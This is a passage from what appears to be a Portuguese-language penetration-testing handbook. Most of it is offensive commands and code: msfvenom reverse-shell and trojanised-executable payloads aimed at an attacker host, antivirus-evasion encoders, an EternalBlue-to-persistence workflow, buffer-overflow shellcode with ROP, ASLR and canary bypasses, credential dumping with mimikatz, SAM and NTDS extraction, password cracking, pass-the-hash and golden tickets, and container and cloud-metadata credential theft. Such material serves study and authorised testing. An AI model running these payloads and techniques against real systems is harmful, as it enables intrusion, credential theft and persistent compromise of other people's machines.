LHOST/LPORT IP e porta do atacante Para reverse shells
use exploit/multi/handler Receber a conexão no msfconsole exploit -j para deixar em segundo plano

Payloads Windows

# Payload básico Windows x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=443 -f exe -o shell.exe

# Payload Windows x86 (compatibilidade)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f exe -o shell_x86.exe

# Bind shell Windows
msfvenom -p windows/meterpreter/bind_tcp RHOST=SERVIDOR_IP LPORT=4444 -f exe -o bind.exe

# Reverse HTTPS (mais furtivo)
msfvenom -p windows/meterpreter/reverse_https LHOST=ATACANTE_IP LPORT=443 -f exe -o https_shell.exe

# Payload WAR para Tomcat
msfvenom -p java/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f war -o shell.war

Payloads Linux

# Linux reverse shell x86
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f elf -o shell

# Linux reverse shell x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f elf -o shell_x64

# Shell simples Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f elf -o simple_shell

# Linux bind shell
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=SERVIDOR_IP LPORT=4444 -f elf -o bind_linux

Workflow Completo

# 1. Criar payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=443 -f exe -o backdoor.exe

# 2. No msfconsole - configurar handler
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
set LPORT 443
set ExitOnSession false
exploit -j

# 3. Executar o payload no alvo
# (backdoor.exe deve ser executado na máquina alvo)

# 4. Interagir com a sessão
sessions -l
sessions -i 1

Formatos de Output

Formatos Web

# PHP payload
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.php

# ASP payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f asp -o shell.asp

# JSP payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.jsp

Formatos de Código

# Python payload
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f raw -o shell.py

# PowerShell payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f psh -o shell.ps1

# Shellcode C
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -f c

Evasão de Antivírus

Encoders

# Listar encoders
msfvenom --list encoders

# Encoder shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o encoded.exe

# Múltiplos encoders
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o multi_encoded.exe

Técnicas Avançadas

# Template injection
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -x putty.exe -f exe -o trojan.exe

# Formato de template
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -x calc.exe -k -f exe -o calc_trojan.exe

# Platform específico
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=ATACANTE_IP LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o platform_specific.exe

Workflow Típico com Metasploit

1

Reconnaissance

Usar auxiliares para scanning e enum

2

Exploitation

Executar exploit apropriado

3

Post-Exploitation

Meterpreter, escalação, persistência

4

Pivoting

Movimento lateral na rede

Exemplo Completo

# 1. Scanner de rede
use auxiliary/scanner/smb/smb_version
set RHOSTS REDE_ALVO/24
run

# 2. Exploit no alvo identificado
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS SERVIDOR_IP
set payload windows/x64/meterpreter/reverse_tcp
set LHOST ATACANTE_IP
run

# 3. Post-exploitation
sysinfo
getuid
hashdump
getsystem

# 4. Persistência
use exploit/windows/local/persistence
set SESSION 1
run
Importante

Buffer overflow é uma das vulnerabilidades mais clássicas e perigosas. Requer conhecimento de assembly, depuradores e arquitetura de sistemas. Esta seção cobre conceitos fundamentais para pentest.

Conceitos Fundamentais

O que é Buffer Overflow?

Ocorre quando um programa escreve mais dados em um buffer do que ele pode conter, sobrescrevendo memória adjacente. Isso pode levar a:

  • Crash da aplicação
  • Execução de código arbitrário
  • Escalação de privilégios
  • Bypass de controles de segurança

Stack Layout Visual

Stack Memory Layout (x86):
┌─────────────────┐ 0xbfffffff ← Higher Memory
│  Command Line   │
│   Arguments     │
├─────────────────┤
│  Environment    │
│   Variables     │
├─────────────────┤ ← Stack grows DOWN
│      Stack      │
│                 │
│ ┌─────────────┐ │ 0xbffff7ac
│ │ Return Addr │ │ ← EIP overwrite target (4 bytes)
│ │ 0x08048123  │ │
│ ├─────────────┤ │ 0xbffff7a8  
│ │ Saved EBP   │ │ ← Frame pointer (4 bytes)
│ │ 0xbffff7c8  │ │
│ ├─────────────┤ │ 0xbffff7a4
│ │ Local Vars  │ │ ← Other variables
│ │             │ │
│ ├─────────────┤ │ 0xbffff764
│ │   Buffer    │ │ ← Overflow starts here
│ │ char[64]    │ │   (buffer[0] to buffer[63])
│ │             │ │
│ └─────────────┘ │ 0xbffff724
└─────────────────┘ 0x00000000 ← Lower Memory

Processo Visual do Buffer Overflow

🟢 Estado 1: Função Normal

Input: "Hello" (5 chars)

Stack Memory:
┌─────────────────┐ 0xbffff7ac
│ Return Address  │ 0x08048123 ✅ Original return
├─────────────────┤ 0xbffff7a8
│   Saved EBP     │ 0xbffff7c8 ✅ Frame pointer
├─────────────────┤ 0xbffff764
│     Buffer      │ 
│ H e l l o \0    │ ← "Hello" safely stored
│                 │ ← Remaining 58 bytes empty
│                 │ 
│                 │ 
└─────────────────┘ 0xbffff724

✅ Função retorna normalmente para 0x08048123

🟡 Estado 2: Buffer Overflow

Input: "A" × 80 chars (exceeds 64-byte buffer)

Stack Memory:
┌─────────────────┐ 0xbffff7ac
│ Return Address  │ 0x41414141 ⚠️  Overwritten!
├─────────────────┤ 0xbffff7a8
│   Saved EBP     │ 0x41414141 ⚠️  Overwritten!
├─────────────────┤ 0xbffff764
│     Buffer      │ 
│ A A A A A A A A │ ← Buffer completely filled
│ A A A A A A A A │ ← Continue writing beyond buffer
│ A A A A A A A A │ ← Overflow corrupts adjacent memory
│ A A A A A A A A │ 
└─────────────────┘ 0xbffff724

❌ Tentativa de retorno para 0x41414141 → CRASH!

🔥 Estado 3: EIP Controlado

Input: "A" × 76 + "\x10\xf0\xff\xbf" (controlled EIP)

Stack Memory:
┌─────────────────┐ 0xbffff7ac
│ Return Address  │ 0xbffff010 🎯 Controlled address!
├─────────────────┤ 0xbffff7a8
│   Saved EBP     │ 0x41414141 ⚠️  Still corrupted
├─────────────────┤ 0xbffff764
│     Buffer      │ 
│ A A A A A A A A │ ← Padding (76 bytes)
│ A A A A A A A A │
│ A A A A A A A A │
│ A A A A A A     │ 
└─────────────────┘ 0xbffff724

🎯 Função tenta retornar para 0xbffff010
   → Agora controlamos o fluxo de execução!

🚀 Estado 4: Shellcode Execution

Input: padding + ret_addr + NOP_sled + shellcode

Stack Memory:
┌─────────────────┐ 0xbffff7ac
│ Return Address  │ 0xbffff010 🎯 Points to NOP sled
├─────────────────┤ 0xbffff7a8
│   Saved EBP     │ 0x41414141 
├─────────────────┤ 0xbffff764
│     Buffer      │ 
│ A A A A A A A A │ ← Padding (76 bytes)
│ A A A A A A A A │
│ A A A A A A A A │
│ A A A A A A     │ 
├─────────────────┤ 0xbffff010 ← EIP jumps here
│   NOP Sled      │ \x90\x90\x90\x90... (landing pad)
├─────────────────┤ 0xbffff050
│   Shellcode     │ \x31\xc0\x50\x68... (execve /bin/sh)
└─────────────────┘ 

🚀 Execution Flow:
   1. Function returns to 0xbffff010
   2. CPU slides through NOPs
   3. Shellcode executes → /bin/sh spawned!
   
💀 Attacker now has shell access!

Tipos de Buffer Overflow

Stack-based Buffer Overflow

O tipo mais comum, onde o buffer está localizado na stack.

Código Vulnerável (C)

#include <stdio.h>
#include <string.h>

void vulnerable_function(char *input) {
    char buffer[64];        // Buffer de 64 bytes
    strcpy(buffer, input);  // Sem verificação de tamanho!
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

Exploração Básica

# Teste de crash
./vulnerable $(python -c "print('A' * 100)")

# Encontrar offset exato
./vulnerable $(python -c "print('A' * 76 + 'BBBB')")

# Verificar controle do EIP
gdb ./vulnerable
(gdb) run $(python -c "print('A' * 76 + 'BBBB')")
# EIP deve conter 0x42424242 (BBBB)

Shellcode Injection

# Shellcode simples (execve /bin/sh)
shellcode = (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    "\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40"
    "\xcd\x80"
)

# Exploit completo
padding = "A" * 76
eip = "\x10\xf0\xff\xbf"  # Endereço da stack
nop_sled = "\x90" * 100
exploit = padding + eip + nop_sled + shellcode

Heap-based Buffer Overflow

Overflow em memória alocada dinamicamente (malloc, new).

Características

  • Mais complexo: Heap layout varia
  • Metadata corruption: Corrompe estruturas do heap
  • Use-after-free: Uso de memória liberada
  • Double-free: Liberar memória duas vezes

Exemplo Vulnerável

#include <stdlib.h>
#include <string.h>

int main() {
    char *buf1 = malloc(64);
    char *buf2 = malloc(64);
    
    // Overflow buf1 corrompe buf2
    strcpy(buf1, user_input);  // user_input > 64 bytes
    
    // buf2 agora pode estar corrompido
    free(buf1);
    free(buf2);
    return 0;
}

Format String Vulnerabilities

Vulnerabilidade em funções como printf quando entrada não é sanitizada.

Código Vulnerável

// VULNERÁVEL
printf(user_input);

// SEGURO
printf("%s", user_input);

Exploração

# Ler memória
./vulnerable "%x %x %x %x"

# Vazar endereços da stack
./vulnerable "%08x " * 20

# Escrever na memória
./vulnerable "%n"

# Sobrescrever GOT entry
./vulnerable "\x04\x96\x04\x08%134513824d%4\$n"

Ferramentas de Desenvolvimento

GDB - GNU Debugger

# Iniciar debug
gdb ./programa

# Definir breakpoint
(gdb) break main
(gdb) break *0x08048400

# Executar
(gdb) run argumento

# Examinar registradores
(gdb) info registers
(gdb) print $eip
(gdb) print $esp

# Examinar memória
(gdb) x/20x $esp
(gdb) x/s 0x08048000

# Disassembly
(gdb) disas main

Pattern Creation

# Metasploit pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

# Encontrar offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x42306142

# GDB-PEDA
gdb> pattern create 200
gdb> pattern offset 0x42306142

# Ropper
ropper --file ./binary --string "AAAA"

ROPgadget & Ropper

# Encontrar gadgets ROP
ROPgadget --binary ./program

# Gadgets específicos
ROPgadget --binary ./program --only "pop|ret"

# Ropper
ropper --file ./binary
ropper --file ./binary --search "pop rdi"

# Chains automáticas
ropper --file ./binary --chain execve

Checksec

# Verificar proteções
checksec --file ./binary

# Resultados comuns:
# RELRO: Full/Partial/No
# Stack: Canary found/No canary
# NX: NX enabled/disabled
# PIE: PIE enabled/disabled
# Fortify: Enabled/Disabled

Técnicas de Bypass

Bypass NX/DEP (No Execute)

Quando a stack não é executável, usamos ROP (Return Oriented Programming).

ROP Chain Básico

# Objetivo: execve("/bin/sh", NULL, NULL)
# 1. pop rdi; ret    - Endereço de "/bin/sh"
# 2. pop rsi; ret    - NULL
# 3. pop rdx; ret    - NULL  
# 4. pop rax; ret    - 59 (syscall execve)
# 5. syscall; ret

gadget1 = 0x400123  # pop rdi; ret
gadget2 = 0x400456  # pop rsi; ret
gadget3 = 0x400789  # pop rdx; ret
gadget4 = 0x400abc  # pop rax; ret
syscall = 0x400def  # syscall; ret
binsh = 0x600000    # "/bin/sh" string

rop_chain = padding + gadget1 + binsh + gadget2 + 0 + gadget3 + 0 + gadget4 + 59 + syscall

ret2libc

# Chamar system("/bin/sh") da libc
system_addr = 0xb7e63190  # Endereço de system()
exit_addr = 0xb7e56040    # Endereço de exit()
binsh_addr = 0xb7f83a24   # String "/bin/sh" na libc

payload = padding + system_addr + exit_addr + binsh_addr

Bypass ASLR (Address Space Layout Randomization)

Information Leak

# Vazar endereços da libc
# 1. Usar format string para ler stack
./vuln "%p %p %p %p"

# 2. Usar partial overwrite
# Sobrescrever apenas bytes menos significativos

# 3. Ret2plt + GOT leak
plt_puts = 0x8048300
got_puts = 0x804a000
main_addr = 0x8048400

# Primeira stage: vazar endereço
leak = padding + plt_puts + main_addr + got_puts

Brute Force

#!/usr/bin/python
import subprocess
import struct

# Tentar diferentes endereços base
for base in range(0xb7000000, 0xb8000000, 0x1000):
    system_addr = base + 0x40190  # Offset conhecido
    try:
        payload = "A" * 76 + struct.pack("I", system_addr)
        p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE)
        p.communicate(payload)
        if p.returncode == 0:
            print("Success with base: 0x%x" % base)
            break
    except:
        continue

Bypass Stack Canary

Brute Force Canary

# Canary é valor aleatório antes do return address
# Tipicamente termina com \x00

import struct

def brute_canary():
    canary = ""
    for i in range(4):  # 32-bit canary
        for byte in range(256):
            test_canary = canary + chr(byte)
            payload = "A" * 64 + test_canary
            
            if not crashes(payload):
                canary = test_canary
                break
    return canary

Information Leak

# Usar format string para vazar canary
# Canary está tipicamente em posição fixa na stack

# Encontrar posição do canary
./vuln "%p " * 20

# Vazar canary específico
./vuln "%11$p"  # Se canary está na 11ª posição

# Fork() preserva canary
# Programas que fazem fork() mantêm o mesmo canary

Shellcoding

Shellcode x86 Linux

# execve("/bin/sh", NULL, NULL)
# 25 bytes shellcode

\x31\xc0                # xor eax, eax
\x50                    # push eax (NULL)
\x68\x2f\x2f\x73\x68   # push "//sh"
\x68\x2f\x62\x69\x6e   # push "/bin"
\x89\xe3                # mov ebx, esp ("/bin//sh")
\x89\xc1                # mov ecx, eax (NULL)
\x89\xc2                # mov edx, eax (NULL)
\xb0\x0b                # mov al, 11 (execve syscall)
\xcd\x80                # int 0x80
\x31\xc0                # xor eax, eax
\x40                    # inc eax (exit syscall)
\xcd\x80                # int 0x80

Reverse Shell x86

# Connect back shellcode
# IP: ATACANTE_IP, Port: 4444

\x31\xdb                # xor ebx, ebx
\xf7\xe3                # mul ebx
\x53                    # push ebx
\x43                    # inc ebx
\x53                    # push ebx
\x6a\x02                # push 2
\x89\xe1                # mov ecx, esp
\xb0\x66                # mov al, 102 (socketcall)
\xcd\x80                # int 0x80
\x93                    # xchg ebx, eax
\x59                    # pop ecx
\xb0\x3f                # mov al, 63 (dup2)
\xcd\x80                # int 0x80
\x49                    # dec ecx
\x79\xf9                # jns -7
\x68\xc0\xa8\x01\x0a   # push 0x0a01a8c0 (ATACANTE_IP)
\x68\x02\x00\x11\x5c   # push 0x5c110002 (port 4444)
\x89\xe1                # mov ecx, esp

Encoder Simples

# XOR encoder para evitar bad chars
key = 0xAA

encoded_shellcode = ""
for byte in shellcode:
    encoded_shellcode += chr(ord(byte) ^ key)

# Decoder stub
decoder = (
    "\xeb\x0b"              # jmp short +11
    "\x5e"                  # pop esi
    "\x31\xc9"              # xor ecx, ecx
    "\xb1\x19"              # mov cl, 25 (shellcode length)
    "\x80\x36\xaa"          # xor byte [esi], 0xaa
    "\x46"                  # inc esi
    "\xe2\xfa"              # loop -6
    "\xff\xe6"              # jmp esi
    "\xe8\xf0\xff\xff\xff"  # call -16
)

final_shellcode = decoder + encoded_shellcode

Laboratório Prático

Ambiente de Teste

Para praticar buffer overflow com segurança, compile programas vulneráveis em ambiente controlado com proteções desabilitadas:

# Compilar sem proteções
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie -g

# Desabilitar ASLR temporariamente
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

# Usar depurador
gdb ./vuln

Fundamentos de Hashing

Função Hash

Uma função hash é um algoritmo matemático que converte dados de qualquer tamanho em uma string de tamanho fixo. Características importantes:

  • Determinística: Mesma entrada sempre produz mesma saída
  • Unidirecional: Computacionalmente inviável reverter
  • Efeito avalanche: Pequenas mudanças na entrada causam grandes mudanças na saída
  • Resistente a colisões: Difícil encontrar duas entradas com mesmo hash

Tipos de Hash

MD5: 128 bits (32 chars hex) - Quebrado 5d41402abc4b2a76b9719d911017c592
SHA-1: 160 bits (40 chars hex) - Quebrado 356a192b7913b04c54574d18c28d46e6395428ab
SHA-256: 256 bits (64 chars hex) - Seguro e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
NTLM: Windows NT LAN Manager b4b9b02e6f09a9bd760f388b67351e2b

Obtendo Hashes

Hashes em Sistemas Linux

Arquivos de Senhas

# /etc/passwd - informações de usuários
cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash

# /etc/shadow - hashes das senhas (requer privilégios)
cat /etc/shadow
# root:$6$salt$hash:18000:0:99999:7:::

# Estrutura do /etc/shadow:
# username:password:lastchange:min:max:warn:inactive:expire:reserved

Tipos de Hash Linux

# Identificação pelo formato:
$1$salt$hash    # MD5
$2a$salt$hash   # Blowfish  
$5$salt$hash    # SHA-256
$6$salt$hash    # SHA-512

# Exemplo SHA-512:
$6$rounds=5000$salt$hash...

Extraindo Hashes

# Combinar passwd e shadow
unshadow /etc/passwd /etc/shadow > hashes.txt

# Via John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Gerar hash manualmente
openssl passwd -1 -salt mysalt mypassword

Hashes em Sistemas Windows

SAM Database

# Localização dos hashes
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SYSTEM

# Extrair com reg save (privilégios admin)
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive

# Secretsdump (Impacket)
secretsdump.py -sam sam.hive -system system.hive LOCAL

NTDS.dit (Domain Controller)

# Localização
C:\Windows\NTDS\ntds.dit
C:\Windows\System32\config\SYSTEM

# Extrair via ntdsutil
ntdsutil "ac i ntds" "ifm" "create full C:\temp" q q

# Secretsdump
secretsdump.py -ntds ntds.dit -system system.hive LOCAL

Mimikatz

# Dump hashes da memória
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

# Dump SAM
lsadump::sam

# Dump NTDS
lsadump::dcsync /domain:empresa.com.br /all

Formatos Windows

# LM Hash (legado)
AAD3B435B51404EEAAD3B435B51404EE

# NTLM Hash
b4b9b02e6f09a9bd760f388b67351e2b

# Formato completo:
username:uid:lm_hash:ntlm_hash:::

# Exemplo:
Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:b4b9b02e6f09a9bd760f388b67351e2b:::

Captura de Hashes na Rede

Responder

# Capturar hashes NetNTLMv2
responder -I eth0 -wrf

# Configuração específica
responder -I eth0 -w -r -f --lm

# Análise de captura
cat /usr/share/responder/logs/*.txt

Inveigh (PowerShell)

# Captura Windows via PowerShell
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y

# Ver capturas
Get-InveighCleartext
Get-InveighNTLMv2

SMB Relay

# ntlmrelayx (Impacket)
ntlmrelayx.py -t SERVIDOR_IP -smb2support

# Com lista de alvos
ntlmrelayx.py -tf targets.txt -smb2support

# Executar comando
ntlmrelayx.py -t SERVIDOR_IP -c "whoami"

Hashes de Banco de Dados

MySQL

# Extrair hashes MySQL
SELECT user, password FROM mysql.user;

# Formato MySQL (versão < 4.1)
user:*6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9

# Cracking
john --format=mysql-sha1 mysql_hashes.txt
hashcat -m 300 mysql_hashes.txt wordlist.txt

PostgreSQL

# Extrair hashes PostgreSQL
SELECT usename, passwd FROM pg_shadow;

# Formato
md5 + md5(password + username)

# Cracking
john --format=raw-md5 postgres_hashes.txt

MSSQL

# Extrair hashes MSSQL
SELECT name, password_hash FROM sys.sql_logins;

# Formato (SQL Server 2005+)
0x0100A1B2C3D4E5F6...

# Cracking  
hashcat -m 1731 mssql_hashes.txt wordlist.txt

Cracking de Senhas

John the Ripper

Comandos Básicos

# Ataque de dicionário
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Ataque incremental (brute force)
john --incremental hashes.txt

# Formato específico
john --format=raw-md5 md5_hashes.txt

# Mostrar senhas crackeadas
john --show hashes.txt

# Status do cracking
john --status

Formatos Suportados

# Listar formatos
john --list=formats

# Formatos comuns:
--format=raw-md5          # MD5
--format=raw-sha1         # SHA-1
--format=raw-sha256       # SHA-256
--format=nt               # NTLM
--format=lm               # LM
--format=crypt            # Unix crypt
--format=zip              # ZIP archives
--format=pdf              # PDF files

Regras e Mutações

# Usar regras predefinidas
john --rules --wordlist=wordlist.txt hashes.txt

# Regras específicas
john --rules=best64 --wordlist=wordlist.txt hashes.txt

# Criar regras customizadas
# Arquivo john.conf:
[List.Rules:Custom]
l       # lowercase
u       # uppercase
c       # capitalize
$1      # append '1'
$!      # append '!'

Hashcat - GPU Accelerated

Comandos Básicos

# Ataque de dicionário
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# Brute force
hashcat -m 1000 hashes.txt -a 3 ?a?a?a?a?a?a?a?a

# Combinator attack
hashcat -m 1000 hashes.txt -a 1 wordlist1.txt wordlist2.txt

# Ver senhas crackeadas
hashcat -m 1000 hashes.txt --show

Modos de Hash (-m)

# Hashes comuns:
-m 0      # MD5
-m 100    # SHA-1
-m 1400   # SHA-256
-m 1000   # NTLM
-m 3000   # LM
-m 1800   # SHA-512 (Unix)
-m 500    # MD5crypt
-m 1700   # SHA-512
-m 22000  # WPA-PBKDF2-PMKID+EAPOL

Tipos de Ataque (-a)

# Tipos de ataque:
-a 0    # Straight (dicionário)
-a 1    # Combination (combinar wordlists)
-a 3    # Brute-force (máscaras)
-a 6    # Hybrid Wordlist + Mask
-a 7    # Hybrid Mask + Wordlist

# Máscaras para brute force:
?l    # lowercase letters
?u    # uppercase letters  
?d    # digits
?s    # special chars
?a    # all characters
?b    # binary (0x00-0xff)

Exemplos Práticos

# NTLM com regras
hashcat -m 1000 ntlm.txt -r /usr/share/hashcat/rules/best64.rule wordlist.txt

# Brute force 8 digits
hashcat -m 1000 hashes.txt -a 3 ?d?d?d?d?d?d?d?d

# Wordlist + 2 digits
hashcat -m 1000 hashes.txt -a 6 wordlist.txt ?d?d

# Performance tuning
hashcat -m 1000 hashes.txt wordlist.txt -O -w 3

Wordlists e Dicionários

Wordlists Famosas

# RockYou (14 milhões senhas)
/usr/share/wordlists/rockyou.txt

# SecLists
https://github.com/danielmiessler/SecLists

# CrackStation
https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm

# Have I Been Pwned
https://haveibeenpwned.com/Passwords

Criar Wordlists Customizadas

# CeWL - extrair palavras de sites
cewl https://empresa.com.br -w wordlist.txt -d 2

# Crunch - gerar combinações
crunch 8 8 -t @@@@2021 -o wordlist.txt

# Cupp - wordlist baseada em informações pessoais
python3 cupp.py -i

# Combinar wordlists
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt

Wordlists Específicas

# Senhas por país/idioma
/usr/share/wordlists/fasttrack.txt
/usr/share/wordlists/nmap.lst

# Senhas padrão
https://github.com/scadastorm/Passwords

# Senhas vazadas
https://github.com/berzerk0/Probable-Wordlists

# John wordlists
/usr/share/john/password.lst

Regras Customizadas

Regras John the Ripper

# Arquivo de regras customizadas
[List.Rules:MyRules]
# Lowercase
l
# Uppercase  
u
# Capitalize
c
# Append common numbers
$0 $1 $2 $3
# Append years
$2 $0 $2 $1
$2 $0 $2 $2
# Leet speak
so0 si1 se3 sa@
# Common substitutions
s@a s3e s1i s0o s$s

Regras Hashcat

# Arquivo rules.txt
:           # Do nothing
l           # Lowercase
u           # Uppercase  
c           # Capitalize
$1 $2 $3    # Append 123
^1 ^2 ^3    # Prepend 321
so0         # Replace 's' with '0'
si1         # Replace 'i' with '1'
se3         # Replace 'e' with '3'

Regras Avançadas

# Rotação de caracteres
} }         # Rotate right twice
{ {         # Rotate left twice

# Duplicação
d           # Duplicate word (password -> passwordpassword)

# Reflexão  
f           # Reverse (password -> drowssap)

# Combinações complexas
c $1 $2 $3 $!    # Capitalize + append 123!
l so0 si1 se3    # Lowercase + leet
u ^2 ^0 ^2 ^1    # Uppercase + prepend 2021

Pass-the-Hash & Lateral Movement

Pass-the-Hash (PtH)

# Impacket psexec
psexec.py -hashes :b4b9b02e6f09a9bd760f388b67351e2b administrator@SERVIDOR_IP

# Impacket wmiexec  
wmiexec.py -hashes :b4b9b02e6f09a9bd760f388b67351e2b administrator@SERVIDOR_IP

# CrackMapExec
crackmapexec smb SERVIDOR_IP -u administrator -H b4b9b02e6f09a9bd760f388b67351e2b

# Metasploit
use exploit/windows/smb/psexec
set SMBPass b4b9b02e6f09a9bd760f388b67351e2b

Pass-the-Ticket (PtT)

# Mimikatz - exportar tickets
mimikatz.exe
sekurlsa::tickets /export

# Injetar ticket
kerberos::ptt ticket.kirbi

# Impacket - usar ticket
export KRB5CCNAME=ticket.ccache
psexec.py empresa.com.br/administrator@dc.empresa.com.br -k -no-pass

OverPass-the-Hash

# Mimikatz - obter TGT com hash
sekurlsa::pth /user:administrator /domain:empresa.com.br /ntlm:b4b9b02e6f09a9bd760f388b67351e2b

# Rubeus
Rubeus.exe asktgt /user:administrator /rc4:b4b9b02e6f09a9bd760f388b67351e2b /domain:empresa.com.br

Golden Ticket

# Mimikatz - criar golden ticket
kerberos::golden /user:administrator /domain:empresa.com.br /sid:S-1-5-21-... /krbtgt:hash /ptt

# Impacket
ticketer.py -nthash krbtgt_hash -domain-sid S-1-5-21-... -domain empresa.com.br administrator

Ferramentas Especializadas

CrackMapExec

# Password spraying
crackmapexec smb REDE_ALVO/24 -u users.txt -p 'Password123'

# Hash spraying
crackmapexec smb REDE_ALVO/24 -u administrator -H hash.txt

# Executar comandos
crackmapexec smb SERVIDOR_IP -u admin -p pass -x "whoami"

# Dump hashes
crackmapexec smb SERVIDOR_IP -u admin -p pass --sam

Impacket Suite

# secretsdump
secretsdump.py empresa.com.br/admin:pass@SERVIDOR_IP

# GetNPUsers (ASREPRoast)
GetNPUsers.py empresa.com.br/ -usersfile users.txt -no-pass

# GetUserSPNs (Kerberoasting)  
GetUserSPNs.py empresa.com.br/admin:pass -request

# DCSYnc
secretsdump.py empresa.com.br/admin:pass@dc.empresa.com.br -just-dc

LaZagne

# Extrair senhas armazenadas
laZagne.exe all

# Módulos específicos
laZagne.exe browsers
laZagne.exe wifi
laZagne.exe memory

# Salvar resultados
laZagne.exe all -output .

Objetivo da Escalação

Após obter acesso inicial a um sistema com privilégios limitados, buscamos elevar nossos privilégios para obter controle administrativo total. Isso permite acesso completo aos dados, configurações e funcionalidades do sistema.

Caminhos de Escalação

👤

User Shell

Acesso inicial limitado
user@host:$

Escalação →
👑

Root Access

Controle total
root@host:#

Vetores de Escalação por Sistema

Vetores de Escalação Linux

🔍

Enumeração

• sudo -l
• SUID binaries
• Cron jobs
• Kernel version

🎯

Vetor Identificado

• SUDO misconfiguration
• SUID binary
• Kernel exploit
• Service misconfiguration

Exploração

• GTFOBins technique
• Buffer overflow
• Path hijacking
• Library injection

👑

Root Shell

• id = uid=0(root)
• Full system access
• Persistence setup

🔐 SUDO Exploits
  • sudo -l (listar comandos)
  • GTFOBins bypass
  • Editor escape (vim, nano)
  • Script/Binary execution
⚡ SUID/SGID
  • find / -perm -4000
  • Custom SUID binaries
  • Library hijacking
  • Buffer overflow in SUID
⏰ Cron Jobs
  • Writable script paths
  • PATH manipulation
  • Wildcard injection
  • Script overwrite
🔧 Kernel Exploits
  • DirtyCow (CVE-2016-5195)
  • Overlayfs (CVE-2015-1328)
  • PwnKit (CVE-2021-4034)
  • Dirty Pipe (CVE-2022-0847)

Vetores de Escalação Windows

🔍

Enumeração

• whoami /all
• Service permissions
• Registry keys
• Scheduled tasks

🎯

Vetor Identificado

• Unquoted service path
• Service misconfiguration
• Registry hijacking
• Token impersonation

Exploração

• Service replacement
• DLL hijacking
• UAC bypass
• Token manipulation

👑

SYSTEM/Admin

• NT AUTHORITY\SYSTEM
• Administrator access
• Domain escalation

🔧 Service Exploits
  • Unquoted service paths
  • Service binary replacement
  • Service registry modification
  • DLL hijacking
🎭 Token Impersonation
  • SeImpersonatePrivilege
  • JuicyPotato/RoguePotato
  • PrintSpoofer
  • Token stealing
📋 Registry/UAC
  • AlwaysInstallElevated
  • UAC bypass techniques
  • Registry autoruns
  • Scheduled task hijacking
🔓 Password/Hash
  • SAM/SYSTEM files
  • LSA Secrets
  • Cached credentials
  • Kerberos tickets

Escalação em Cloud/Container

📦

Container

• Limited user
• Container runtime
• Restricted access

Escape →
🖥️

Host System

• Host root access
• Full system control
• Other containers

Cloud →
☁️

Cloud Admin

• IAM escalation
• Service accounts
• Infrastructure access

Container Escape

# Verificar se está em container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv

# Escape via volumes montados
mount | grep docker
find / -name "docker.sock" 2>/dev/null

# Capabilities perigosas
capsh --print | grep cap_sys_admin

# Privileged container escape
fdisk -l
mount /dev/sda1 /mnt
chroot /mnt /bin/bash

Cloud IAM Escalation

# AWS - Instance metadata
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Enumerar permissões IAM
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name user

# Escalação via roles
aws sts assume-role --role-arn arn:aws:iam::account:role/AdminRole --role-session-name session

# GCP - Service account escalation
